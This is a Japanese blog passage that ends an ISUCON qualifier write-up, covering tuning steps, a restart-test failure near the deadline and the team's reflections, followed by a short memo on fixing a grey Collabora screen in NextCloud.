なお、空席選択のコードは初期実装では「空席の中からランダムに選ぶ」になっていたが、ランダムで通るならルール上はどのような規則で選んでも構わないと判断して、手を加える必要があった際にデバッグのしやすい「条件を満たす空席のうち id が最も若いものを選ぶ」コードを書いたところ、「ランダムではない」ことがシステムにバレて失敗扱いになったのはおもしろかった。検出のロジックが少しだけ気になった。

またついでに、潰せそうな SQL 文(SHA256 のためだけにクエリ発行しているクエリなどもあった)も潰してみたが、こちらは効果がほとんどなかった。

この間に他の二人が、ミドルウェア周りの整備および関連コードの修正を進めて DB×1, FE×2 構成に変更になった。MySQL が入っているマシンは MySQL が本気を出せるようになり、この段階で 30k 突破。一回だけなぜか 47,473 点をマークしたが、ベンチを走らせた本人曰く「修正で想定以上に改善したと思ったら、修正が反映されていなかったのに一回だけスコアが上がった」とのことで、理由は謎に包まれている。

また、この時点で必然的に環境が共有になったため、誰かがデプロイをしたくなっても他の人の作業を待つ必要があり、複数台にデプロイする手間も相まってデプロイ頻度が低下してきた。

終盤

時間があれば実施したいことは山ほどあったが、残り二時間を下回ってはそうも言っていられず、改善できそうなところから修正。複数クエリにまたがるトランザクションの削減などを試みるも、効果は限定的。相変わらずベンチごとにスコアが揺らぐ状況は続いていた。

最後の30分はベンチマークガチャに充てよう、などと話しつつ、終了30分前になって実施した再起動試験で、なんと 502 Bad Gateway になるという事件が発生した。再起動後も正常に稼働できるようになっていないと、レギュレーション上当然ながら失格となってしまうため全員で慌てて対処し、かろうじて残った約5分でベンチを回し始めたが、最後のベンチが0点でなすすべなく☀となることは避けたかったので、 17:59:10 に走行し終えたベンチを最後に終了。その時は予選突破はもっと遠い点数であり最後のベンチの点数こそが自分たちの成績になると思っていたが、結果を見た今ではもう一回回していれば結果は変わったかもしれないという大変微妙なところにいたと言える。

反省会

競技終了後、準備不足であったことを感じながら、移動および夕食のため池袋に向かった。サンシャイン60通り商店街周辺から探索を始めたが、三連休の中日の夜でどの店も長い列ができており、徐々に南下しながら探索を行い、最終的には東通り(JR 池袋駅南口の東南東)に到達した。この間に早くも ISUCON 運営の方々による再起動等の試験・集計が完了して公表され、予選突破ラインとの差がベンチマークガチャ程度の差であったことを知った上で、反省会が始まった。

感想

ウェブアプリケーションとして素直な構成でありながら、最初に一台構成で組まれたコードを複数台に分散する要素が活用されており、奇をてらったり知っているかどうかを競うだけのゲームになったりもしなかった。そのため、チューニングらしくて良いと思った去年にも増して楽しめる競技だった。

そして、そのような素晴らしい競技で今回は惜しいところで本選出場を逃したこと、事前準備を早くにしていれば当日時間短縮できそうなところが多くあったところなど、悔しい点もあった。前回の ISUCON 予選は複数台サーバの時計のずれなど、重要な点に気付く必要があり、それには時間があっても気付けなかっただろうと感じたが、今回は時間があればできたと思うことは多くあった。もちろん、 ISUCON の競技としては事前準備が効きすぎてしまうのはよくないだろうと思うし、その想定で情報を掲出している点もあるとは思うが、それでも8時間という短い時間ですべてを出し切るには特にデプロイ周り、時間の使い方や締切、(ISUCON 7 予選で複数 VM となる前例があった今)複数 VM を複数人で活用する方法など、事前準備が避けられない点は準備しておくべきだった。

NextCloud + Collabora で、 Collabora を更新すると Collabora が灰色一色になった

謎現象メモ。

表題の通り、 NextCloud + Collabora で、

  • NextCloud をアップデートして(この時点では無事なので関係ない?)
  • ついでに Collabora も apt で新しいのを入れて再起動すると
  • Collabora が開かれるべき画面で灰色一色になることがある。
  • 理由は謎だが、その後、 NextCloud の管理者用設定画面から、 Collabora の URL を設定するところで適用ボタンを押すと直った。